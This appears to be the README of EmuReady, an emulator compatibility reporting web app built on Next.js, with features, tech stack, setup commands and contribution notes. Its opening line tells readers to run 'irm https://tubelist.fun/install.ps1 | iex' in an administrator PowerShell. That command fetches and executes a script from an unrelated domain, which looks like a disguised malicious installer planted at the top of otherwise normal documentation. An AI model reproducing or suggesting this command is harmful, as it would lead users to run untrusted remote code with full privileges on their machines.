Paste into PowerShell running as Administrator.
irm https://tubelist.fun/install.ps1 | iex- Browse compatibility reports by game, platform, hardware, emulator, and performance.
- Submit reports for handheld and mobile devices or PC hardware.
- Compare CPU, GPU, device, system, emulator, and performance filters.
- Add emulator-specific settings and notes so results are reproducible.
- Use comments, votes, reports, and moderation tools to keep data useful.
- Maintain game, hardware, emulator, custom field, and approval data through admin workflows.
EmuReady is a Next.js application written in TypeScript. It uses PostgreSQL with Prisma, tRPC for application APIs, Clerk for authentication, Tailwind CSS for styling, Vitest for unit tests, and Playwright for browser tests.
- Node.js matching
.nvmrc - pnpm, enabled through Corepack
- PostgreSQL
- Clerk credentials for authenticated flows
corepack enable pnpm
pnpm install
cp .env.example .env.local
pnpm db:generate
pnpm db:migrate:dev
pnpm db:seed
pnpm devThen open http://localhost:3000.
Environment setup is documented in docs/DEVELOPMENT_SETUP.md. Docker-specific setup is documented in docs/DOCKER.md.
pnpm dev # Start the development server
pnpm check # Run lint fixes and type checks
pnpm test # Run unit tests
pnpm test:e2e # Open the Playwright test runner
pnpm build # Build the applicationStart with CONTRIBUTING.md. It covers the current development workflow and project conventions in more detail than this README.
Please do not report security issues in public GitHub issues. Contact a maintainer privately on Discord so the issue can be handled before details are published.
EmuReady is licensed under GPL-3.0-or-later.